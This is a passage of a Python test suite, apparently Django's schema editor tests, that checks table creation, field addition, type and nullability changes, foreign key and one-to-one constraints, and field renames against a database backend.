        for name, details in constraints.items():
            if details['columns'] == [column_name]:
                constraints_for_column.append(name)
        return sorted(constraints_for_column)

    def check_added_field_default(self, schema_editor, model, field, field_name, expected_default,
                                  cast_function=None):
        with connection.cursor() as cursor:
            schema_editor.add_field(model, field)
            cursor.execute("SELECT {} FROM {};".format(field_name, model._meta.db_table))
            database_default = cursor.fetchall()[0][0]
            if cast_function and not type(database_default) == type(expected_default):
                database_default = cast_function(database_default)
            self.assertEqual(database_default, expected_default)

    def get_constraints_count(self, table, column, fk_to):
        """
        Return a dict with keys 'fks', 'uniques, and 'indexes' indicating the
        number of foreign keys, unique constraints, and indexes on
        `table`.`column`. The `fk_to` argument is a 2-tuple specifying the
        expected foreign key relationship's (table, column).
        """
        with connection.cursor() as cursor:
            constraints = connection.introspection.get_constraints(cursor, table)
        counts = {'fks': 0, 'uniques': 0, 'indexes': 0}
        for c in constraints.values():
            if c['columns'] == [column]:
                if c['foreign_key'] == fk_to:
                    counts['fks'] += 1
                if c['unique']:
                    counts['uniques'] += 1
                elif c['index']:
                    counts['indexes'] += 1
        return counts

    def assertIndexOrder(self, table, index, order):
        constraints = self.get_constraints(table)
        self.assertIn(index, constraints)
        index_orders = constraints[index]['orders']
        self.assertTrue(all([(val == expected) for val, expected in zip(index_orders, order)]))

    # Tests
    def test_creation_deletion(self):
        """
        Tries creating a model's table, and then deleting it.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Check that it's there
        list(Author.objects.all())
        # Clean up that table
        with connection.schema_editor() as editor:
            editor.delete_model(Author)
        # Check that it's gone
        with self.assertRaises(DatabaseError):
            list(Author.objects.all())

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_fk(self):
        "Tests that creating tables out of FK order, then repointing, works"
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Book)
            editor.create_model(Author)
            editor.create_model(Tag)
        # Check that initial tables are there
        list(Author.objects.all())
        list(Book.objects.all())
        # Make sure the FK constraint is present
        with self.assertRaises(IntegrityError):
            Book.objects.create(
                author_id=1,
                title="Much Ado About Foreign Keys",
                pub_date=datetime.datetime.now(),
            )
        # Repoint the FK constraint
        old_field = Book._meta.get_field("author")
        new_field = ForeignKey(Tag, CASCADE)
        new_field.set_attributes_from_name("author")
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)
        # Make sure the new FK constraint is present
        constraints = self.get_constraints(Book._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["author_id"] and details['foreign_key']:
                self.assertEqual(details['foreign_key'], ('schema_tag', 'id'))
                break
        else:
            self.fail("No FK constraint for author_id found")

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_fk_to_proxy(self):
        "Tests that creating a FK to a proxy model creates database constraints."
        class AuthorProxy(Author):
            class Meta:
                app_label = 'schema'
                apps = new_apps
                proxy = True

        class AuthorRef(Model):
            author = ForeignKey(AuthorProxy, on_delete=CASCADE)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [AuthorProxy, AuthorRef]

        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(AuthorRef)
        constraints = self.get_constraints(AuthorRef._meta.db_table)
        for details in constraints.values():
            if details['columns'] == ['author_id'] and details['foreign_key']:
                self.assertEqual(details['foreign_key'], ('schema_author', 'id'))
                break
        else:
            self.fail('No FK constraint for author_id found')

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_fk_db_constraint(self):
        "Tests that the db_constraint parameter is respected"
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
            editor.create_model(Author)
            editor.create_model(BookWeak)
        # Check that initial tables are there
        list(Author.objects.all())
        list(Tag.objects.all())
        list(BookWeak.objects.all())
        # Check that BookWeak doesn't have an FK constraint
        constraints = self.get_constraints(BookWeak._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["author_id"] and details['foreign_key']:
                self.fail("FK constraint for author_id found")
        # Make a db_constraint=False FK
        new_field = ForeignKey(Tag, CASCADE, db_constraint=False)
        new_field.set_attributes_from_name("tag")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Make sure no FK constraint is present
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["tag_id"] and details['foreign_key']:
                self.fail("FK constraint for tag_id found")
        # Alter to one with a constraint
        new_field2 = ForeignKey(Tag, CASCADE)
        new_field2.set_attributes_from_name("tag")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, new_field2, strict=True)
        # Make sure the new FK constraint is present
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["tag_id"] and details['foreign_key']:
                self.assertEqual(details['foreign_key'], ('schema_tag', 'id'))
                break
        else:
            self.fail("No FK constraint for tag_id found")
        # Alter to one without a constraint again
        new_field2 = ForeignKey(Tag, CASCADE)
        new_field2.set_attributes_from_name("tag")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field2, new_field, strict=True)
        # Make sure no FK constraint is present
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["tag_id"] and details['foreign_key']:
                self.fail("FK constraint for tag_id found")

    def _test_m2m_db_constraint(self, M2MFieldClass):
        class LocalAuthorWithM2M(Model):
            name = CharField(max_length=255)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [LocalAuthorWithM2M]

        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
            editor.create_model(LocalAuthorWithM2M)
        # Check that initial tables are there
        list(LocalAuthorWithM2M.objects.all())
        list(Tag.objects.all())
        # Make a db_constraint=False FK
        new_field = M2MFieldClass(Tag, related_name="authors", db_constraint=False)
        new_field.contribute_to_class(LocalAuthorWithM2M, "tags")
        # Add the field
        with connection.schema_editor() as editor:
            editor.add_field(LocalAuthorWithM2M, new_field)
        # Make sure no FK constraint is present
        constraints = self.get_constraints(new_field.remote_field.through._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["tag_id"] and details['foreign_key']:
                self.fail("FK constraint for tag_id found")

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_m2m_db_constraint(self):
        self._test_m2m_db_constraint(ManyToManyField)

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_m2m_db_constraint_custom(self):
        self._test_m2m_db_constraint(CustomManyToManyField)

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_m2m_db_constraint_inherited(self):
        self._test_m2m_db_constraint(InheritedManyToManyField)

    def test_add_field(self):
        """
        Tests adding fields to models
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure there's no age field
        columns = self.column_classes(Author)
        self.assertNotIn("age", columns)
        # Add the new field
        new_field = IntegerField(null=True)
        new_field.set_attributes_from_name("age")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertEqual(columns['age'][0], "IntegerField")
        self.assertEqual(columns['age'][1][6], True)

    def test_add_field_temp_default(self):
        """
        Tests adding fields to models with a temporary default
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure there's no age field
        columns = self.column_classes(Author)
        self.assertNotIn("age", columns)
        # Add some rows of data
        Author.objects.create(name="Andrew", height=30)
        Author.objects.create(name="Andrea")
        # Add a not-null field
        new_field = CharField(max_length=30, default="Godwin")
        new_field.set_attributes_from_name("surname")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertEqual(columns['surname'][0], "CharField")
        self.assertEqual(columns['surname'][1][6],
                         connection.features.interprets_empty_strings_as_nulls)

    def test_add_field_temp_default_boolean(self):
        """
        Tests adding fields to models with a temporary default where
        the default is False. (#21783)
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure there's no age field
        columns = self.column_classes(Author)
        self.assertNotIn("age", columns)
        # Add some rows of data
        Author.objects.create(name="Andrew", height=30)
        Author.objects.create(name="Andrea")
        # Add a not-null field
        new_field = BooleanField(default=False)
        new_field.set_attributes_from_name("awesome")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        # BooleanField are stored as TINYINT(1) on MySQL.
        field_type = columns['awesome'][0]
        self.assertEqual(
            field_type,
            connection.features.introspected_boolean_field_type(new_field, created_separately=True)
        )

    def test_add_field_default_transform(self):
        """
        Tests adding fields to models with a default that is not directly
        valid in the database (#22581)
        """

        class TestTransformField(IntegerField):

            # Weird field that saves the count of items in its value
            def get_default(self):
                return self.default

            def get_prep_value(self, value):
                if value is None:
                    return 0
                return len(value)

        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Add some rows of data
        Author.objects.create(name="Andrew", height=30)
        Author.objects.create(name="Andrea")
        # Add the field with a default it needs to cast (to string in this case)
        new_field = TestTransformField(default={1: 2})
        new_field.set_attributes_from_name("thing")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure the field is there
        columns = self.column_classes(Author)
        field_type, field_info = columns['thing']
        self.assertEqual(field_type, 'IntegerField')
        # Make sure the values were transformed correctly
        self.assertEqual(Author.objects.extra(where=["thing = 1"]).count(), 2)

    def test_add_field_binary(self):
        """
        Tests binary fields get a sane default (#22851)
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Add the new field
        new_field = BinaryField(blank=True)
        new_field.set_attributes_from_name("bits")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        # MySQL annoyingly uses the same backend, so it'll come back as one of
        # these two types.
        self.assertIn(columns['bits'][0], ("BinaryField", "TextField"))

    @unittest.skipUnless(connection.vendor == 'mysql', "MySQL specific")
    def test_add_binaryfield_mediumblob(self):
        """
        Test adding a custom-sized binary field on MySQL (#24846).
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Add the new field with default
        new_field = MediumBlobField(blank=True, default=b'123')
        new_field.set_attributes_from_name('bits')
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        columns = self.column_classes(Author)
        # Introspection treats BLOBs as TextFields
        self.assertEqual(columns['bits'][0], "TextField")

    def test_alter(self):
        """
        Tests simple altering of fields
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the field is right to begin with
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "CharField")
        self.assertEqual(bool(columns['name'][1][6]), bool(connection.features.interprets_empty_strings_as_nulls))
        # Alter the name field to a TextField
        old_field = Author._meta.get_field("name")
        new_field = TextField(null=True)
        new_field.set_attributes_from_name("name")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "TextField")
        self.assertEqual(columns['name'][1][6], True)
        # Change nullability again
        new_field2 = TextField(null=False)
        new_field2.set_attributes_from_name("name")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, new_field2, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "TextField")
        self.assertEqual(bool(columns['name'][1][6]), bool(connection.features.interprets_empty_strings_as_nulls))

    def test_alter_text_field(self):
        # Regression for "BLOB/TEXT column 'info' can't have a default value")
        # on MySQL.
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        old_field = Note._meta.get_field("info")
        new_field = TextField(blank=True)
        new_field.set_attributes_from_name("info")
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)

    def test_alter_text_field_to_date_field(self):
        """
        #25002 - Test conversion of text field to date field.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        Note.objects.create(info='1988-05-05')
        old_field = Note._meta.get_field('info')
        new_field = DateField(blank=True)
        new_field.set_attributes_from_name('info')
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        # Make sure the field isn't nullable
        columns = self.column_classes(Note)
        self.assertFalse(columns['info'][1][6])

    def test_alter_text_field_to_datetime_field(self):
        """
        #25002 - Test conversion of text field to datetime field.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        Note.objects.create(info='1988-05-05 3:16:17.4567')
        old_field = Note._meta.get_field('info')
        new_field = DateTimeField(blank=True)
        new_field.set_attributes_from_name('info')
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        # Make sure the field isn't nullable
        columns = self.column_classes(Note)
        self.assertFalse(columns['info'][1][6])

    def test_alter_text_field_to_time_field(self):
        """
        #25002 - Test conversion of text field to time field.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        Note.objects.create(info='3:16:17.4567')
        old_field = Note._meta.get_field('info')
        new_field = TimeField(blank=True)
        new_field.set_attributes_from_name('info')
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        # Make sure the field isn't nullable
        columns = self.column_classes(Note)
        self.assertFalse(columns['info'][1][6])

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_alter_textual_field_keep_null_status(self):
        """
        Changing a field type shouldn't affect the not null status.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        with self.assertRaises(IntegrityError):
            Note.objects.create(info=None)
        old_field = Note._meta.get_field("info")
        new_field = CharField(max_length=50)
        new_field.set_attributes_from_name("info")
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        with self.assertRaises(IntegrityError):
            Note.objects.create(info=None)

    def test_alter_numeric_field_keep_null_status(self):
        """
        Changing a field type shouldn't affect the not null status.
        """
        with connection.schema_editor() as editor:
            editor.create_model(UniqueTest)
        with self.assertRaises(IntegrityError):
            UniqueTest.objects.create(year=None, slug='aaa')
        old_field = UniqueTest._meta.get_field("year")
        new_field = BigIntegerField()
        new_field.set_attributes_from_name("year")
        with connection.schema_editor() as editor:
            editor.alter_field(UniqueTest, old_field, new_field, strict=True)
        with self.assertRaises(IntegrityError):
            UniqueTest.objects.create(year=None, slug='bbb')

    def test_alter_null_to_not_null(self):
        """
        #23609 - Tests handling of default values when altering from NULL to NOT NULL.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the field is right to begin with
        columns = self.column_classes(Author)
        self.assertTrue(columns['height'][1][6])
        # Create some test data
        Author.objects.create(name='Not null author', height=12)
        Author.objects.create(name='Null author')
        # Verify null value
        self.assertEqual(Author.objects.get(name='Not null author').height, 12)
        self.assertIsNone(Author.objects.get(name='Null author').height)
        # Alter the height field to NOT NULL with default
        old_field = Author._meta.get_field("height")
        new_field = PositiveIntegerField(default=42)
        new_field.set_attributes_from_name("height")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertFalse(columns['height'][1][6])
        # Verify default value
        self.assertEqual(Author.objects.get(name='Not null author').height, 12)
        self.assertEqual(Author.objects.get(name='Null author').height, 42)

    def test_alter_charfield_to_null(self):
        """
        #24307 - Should skip an alter statement on databases with
        interprets_empty_strings_as_null when changing a CharField to null.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Change the CharField to null
        old_field = Author._meta.get_field('name')
        new_field = copy(old_field)
        new_field.null = True
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)

    def test_alter_textfield_to_null(self):
        """
        #24307 - Should skip an alter statement on databases with
        interprets_empty_strings_as_null when changing a TextField to null.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        # Change the TextField to null
        old_field = Note._meta.get_field('info')
        new_field = copy(old_field)
        new_field.null = True
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)

    @skipUnlessDBFeature('supports_combined_alters')
    def test_alter_null_to_not_null_keeping_default(self):
        """
        #23738 - Can change a nullable field with default to non-nullable
        with the same default.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(AuthorWithDefaultHeight)
        # Ensure the field is right to begin with
        columns = self.column_classes(AuthorWithDefaultHeight)
        self.assertTrue(columns['height'][1][6])
        # Alter the height field to NOT NULL keeping the previous default
        old_field = AuthorWithDefaultHeight._meta.get_field("height")
        new_field = PositiveIntegerField(default=42)
        new_field.set_attributes_from_name("height")
        with connection.schema_editor() as editor:
            editor.alter_field(AuthorWithDefaultHeight, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(AuthorWithDefaultHeight)
        self.assertFalse(columns['height'][1][6])

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_alter_fk(self):
        """
        Tests altering of FKs
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        # Ensure the field is right to begin with
        columns = self.column_classes(Book)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Make sure the FK constraint is present
        constraints = self.get_constraints(Book._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["author_id"] and details['foreign_key']:
                self.assertEqual(details['foreign_key'], ('schema_author', 'id'))
                break
        else:
            self.fail("No FK constraint for author_id found")
        # Alter the FK
        old_field = Book._meta.get_field("author")
        new_field = ForeignKey(Author, CASCADE, editable=False)
        new_field.set_attributes_from_name("author")
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Book)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Make sure the FK constraint is present
        constraints = self.get_constraints(Book._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["author_id"] and details['foreign_key']:
                self.assertEqual(details['foreign_key'], ('schema_author', 'id'))
                break
        else:
            self.fail("No FK constraint for author_id found")

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_alter_to_fk(self):
        """
        #24447 - Tests adding a FK constraint for an existing column
        """
        class LocalBook(Model):
            author = IntegerField()
            title = CharField(max_length=100, db_index=True)
            pub_date = DateTimeField()

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [LocalBook]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(LocalBook)
        # Ensure no FK constraint exists
        constraints = self.get_constraints(LocalBook._meta.db_table)
        for name, details in constraints.items():
            if details['foreign_key']:
                self.fail('Found an unexpected FK constraint to %s' % details['columns'])
        old_field = LocalBook._meta.get_field("author")
        new_field = ForeignKey(Author, CASCADE)
        new_field.set_attributes_from_name("author")
        with connection.schema_editor() as editor:
            editor.alter_field(LocalBook, old_field, new_field, strict=True)
        constraints = self.get_constraints(LocalBook._meta.db_table)
        # Ensure FK constraint exists
        for name, details in constraints.items():
            if details['foreign_key'] and details['columns'] == ["author_id"]:
                self.assertEqual(details['foreign_key'], ('schema_author', 'id'))
                break
        else:
            self.fail("No FK constraint for author_id found")

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_alter_o2o_to_fk(self):
        """
        #24163 - Tests altering of OneToOneField to ForeignKey
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(BookWithO2O)
        # Ensure the field is right to begin with
        columns = self.column_classes(BookWithO2O)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Ensure the field is unique
        author = Author.objects.create(name="Joe")
        BookWithO2O.objects.create(author=author, title="Django 1", pub_date=datetime.datetime.now())
        with self.assertRaises(IntegrityError):
            BookWithO2O.objects.create(author=author, title="Django 2", pub_date=datetime.datetime.now())
        BookWithO2O.objects.all().delete()
        # Make sure the FK constraint is present
        constraints = self.get_constraints(BookWithO2O._meta.db_table)
        author_is_fk = False
        for name, details in constraints.items():
            if details['columns'] == ['author_id']:
                if details['foreign_key'] and details['foreign_key'] == ('schema_author', 'id'):
                    author_is_fk = True
        self.assertTrue(author_is_fk, "No FK constraint for author_id found")
        # Alter the OneToOneField to ForeignKey
        old_field = BookWithO2O._meta.get_field("author")
        new_field = ForeignKey(Author, CASCADE)
        new_field.set_attributes_from_name("author")
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithO2O, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Book)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Ensure the field is not unique anymore
        Book.objects.create(author=author, title="Django 1", pub_date=datetime.datetime.now())
        Book.objects.create(author=author, title="Django 2", pub_date=datetime.datetime.now())
        # Make sure the FK constraint is still present
        constraints = self.get_constraints(Book._meta.db_table)
        author_is_fk = False
        for name, details in constraints.items():
            if details['columns'] == ['author_id']:
                if details['foreign_key'] and details['foreign_key'] == ('schema_author', 'id'):
                    author_is_fk = True
        self.assertTrue(author_is_fk, "No FK constraint for author_id found")

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_alter_fk_to_o2o(self):
        """
        #24163 - Tests altering of ForeignKey to OneToOneField
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        # Ensure the field is right to begin with
        columns = self.column_classes(Book)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Ensure the field is not unique
        author = Author.objects.create(name="Joe")
        Book.objects.create(author=author, title="Django 1", pub_date=datetime.datetime.now())
        Book.objects.create(author=author, title="Django 2", pub_date=datetime.datetime.now())
        Book.objects.all().delete()
        # Make sure the FK constraint is present
        constraints = self.get_constraints(Book._meta.db_table)
        author_is_fk = False
        for name, details in constraints.items():
            if details['columns'] == ['author_id']:
                if details['foreign_key'] and details['foreign_key'] == ('schema_author', 'id'):
                    author_is_fk = True
        self.assertTrue(author_is_fk, "No FK constraint for author_id found")
        # Alter the ForeignKey to OneToOneField
        old_field = Book._meta.get_field("author")
        new_field = OneToOneField(Author, CASCADE)
        new_field.set_attributes_from_name("author")
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(BookWithO2O)
        self.assertEqual(columns['author_id'][0], "IntegerField")
        # Ensure the field is unique now
        BookWithO2O.objects.create(author=author, title="Django 1", pub_date=datetime.datetime.now())
        with self.assertRaises(IntegrityError):
            BookWithO2O.objects.create(author=author, title="Django 2", pub_date=datetime.datetime.now())
        # Make sure the FK constraint is present
        constraints = self.get_constraints(BookWithO2O._meta.db_table)
        author_is_fk = False
        for name, details in constraints.items():
            if details['columns'] == ['author_id']:
                if details['foreign_key'] and details['foreign_key'] == ('schema_author', 'id'):
                    author_is_fk = True
        self.assertTrue(author_is_fk, "No FK constraint for author_id found")

    def test_alter_field_fk_to_o2o(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        expected_fks = 1 if connection.features.supports_foreign_keys else 0

        # Check the index is right to begin with.
        counts = self.get_constraints_count(
            Book._meta.db_table,
            Book._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 0, 'indexes': 1})

        old_field = Book._meta.get_field('author')
        new_field = OneToOneField(Author, CASCADE)
        new_field.set_attributes_from_name('author')
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)

        counts = self.get_constraints_count(
            Book._meta.db_table,
            Book._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        # The index on ForeignKey is replaced with a unique constraint for OneToOneField.
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 1, 'indexes': 0})

    def test_alter_field_fk_keeps_index(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        expected_fks = 1 if connection.features.supports_foreign_keys else 0

        # Check the index is right to begin with.
        counts = self.get_constraints_count(
            Book._meta.db_table,
            Book._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 0, 'indexes': 1})

        old_field = Book._meta.get_field('author')
        # on_delete changed from CASCADE.
        new_field = ForeignKey(Author, PROTECT)
        new_field.set_attributes_from_name('author')
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)

        counts = self.get_constraints_count(
            Book._meta.db_table,
            Book._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        # The index remains.
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 0, 'indexes': 1})

    def test_alter_field_o2o_to_fk(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(BookWithO2O)
        expected_fks = 1 if connection.features.supports_foreign_keys else 0

        # Check the unique constraint is right to begin with.
        counts = self.get_constraints_count(
            BookWithO2O._meta.db_table,
            BookWithO2O._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 1, 'indexes': 0})

        old_field = BookWithO2O._meta.get_field('author')
        new_field = ForeignKey(Author, CASCADE)
        new_field.set_attributes_from_name('author')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithO2O, old_field, new_field, strict=True)

        counts = self.get_constraints_count(
            BookWithO2O._meta.db_table,
            BookWithO2O._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        # The unique constraint on OneToOneField is replaced with an index for ForeignKey.
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 0, 'indexes': 1})

    def test_alter_field_o2o_keeps_unique(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(BookWithO2O)
        expected_fks = 1 if connection.features.supports_foreign_keys else 0

        # Check the unique constraint is right to begin with.
        counts = self.get_constraints_count(
            BookWithO2O._meta.db_table,
            BookWithO2O._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 1, 'indexes': 0})

        old_field = BookWithO2O._meta.get_field('author')
        # on_delete changed from CASCADE.
        new_field = OneToOneField(Author, PROTECT)
        new_field.set_attributes_from_name('author')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithO2O, old_field, new_field, strict=True)

        counts = self.get_constraints_count(
            BookWithO2O._meta.db_table,
            BookWithO2O._meta.get_field('author').column,
            (Author._meta.db_table, Author._meta.pk.column),
        )
        # The unique constraint remains.
        self.assertEqual(counts, {'fks': expected_fks, 'uniques': 1, 'indexes': 0})

    def test_alter_db_table_case(self):
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Alter the case of the table
        old_table_name = Author._meta.db_table
        with connection.schema_editor() as editor:
            editor.alter_db_table(Author, old_table_name, old_table_name.upper())

    def test_alter_implicit_id_to_explicit(self):
        """
        Should be able to convert an implicit "id" field to an explicit "id"
        primary key field.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Author)

        old_field = Author._meta.get_field("id")
        new_field = AutoField(primary_key=True)
        new_field.set_attributes_from_name("id")
        new_field.model = Author
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        # This will fail if DROP DEFAULT is inadvertently executed on this
        # field which drops the id sequence, at least on PostgreSQL.
        Author.objects.create(name='Foo')
        Author.objects.create(name='Bar')

    def test_alter_int_pk_to_autofield_pk(self):
        """
        Should be able to rename an IntegerField(primary_key=True) to
        AutoField(primary_key=True).
        """
        with connection.schema_editor() as editor:
            editor.create_model(IntegerPK)

        old_field = IntegerPK._meta.get_field('i')
        new_field = AutoField(primary_key=True)
        new_field.model = IntegerPK
        new_field.set_attributes_from_name('i')

        with connection.schema_editor() as editor:
            editor.alter_field(IntegerPK, old_field, new_field, strict=True)

    def test_alter_int_pk_to_int_unique(self):
        """
        Should be able to rename an IntegerField(primary_key=True) to
        IntegerField(unique=True).
        """
        class IntegerUnique(Model):
            i = IntegerField(unique=True)
            j = IntegerField(primary_key=True)

            class Meta:
                app_label = 'schema'
                apps = new_apps
                db_table = 'INTEGERPK'

        with connection.schema_editor() as editor:
            editor.create_model(IntegerPK)

        # model requires a new PK
        old_field = IntegerPK._meta.get_field('j')
        new_field = IntegerField(primary_key=True)
        new_field.model = IntegerPK
        new_field.set_attributes_from_name('j')

        with connection.schema_editor() as editor:
            editor.alter_field(IntegerPK, old_field, new_field, strict=True)

        old_field = IntegerPK._meta.get_field('i')
        new_field = IntegerField(unique=True)
        new_field.model = IntegerPK
        new_field.set_attributes_from_name('i')

        with connection.schema_editor() as editor:
            editor.alter_field(IntegerPK, old_field, new_field, strict=True)

        # Ensure unique constraint works.
        IntegerUnique.objects.create(i=1, j=1)
        with self.assertRaises(IntegrityError):
            IntegerUnique.objects.create(i=1, j=2)

    def test_rename(self):
        """
        Tests simple altering of fields
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the field is right to begin with
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "CharField")
        self.assertNotIn("display_name", columns)
        # Alter the name field's name
        old_field = Author._meta.get_field("name")
        new_field = CharField(max_length=254)
        new_field.set_attributes_from_name("display_name")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        # Ensure the field is right afterwards
        columns = self.column_classes(Author)
        self.assertEqual(columns['display_name'][0], "CharField")
        self.assertNotIn("name", columns)

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_rename_keep_null_status(self):
        """
        Renaming a field shouldn't affect the not null status.
        """
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        with self.assertRaises(IntegrityError):
            Note.objects.create(info=None)
        old_field = Note._meta.get_field("info")
        new_field = TextField()
        new_field.set_attributes_from_name("detail_info")
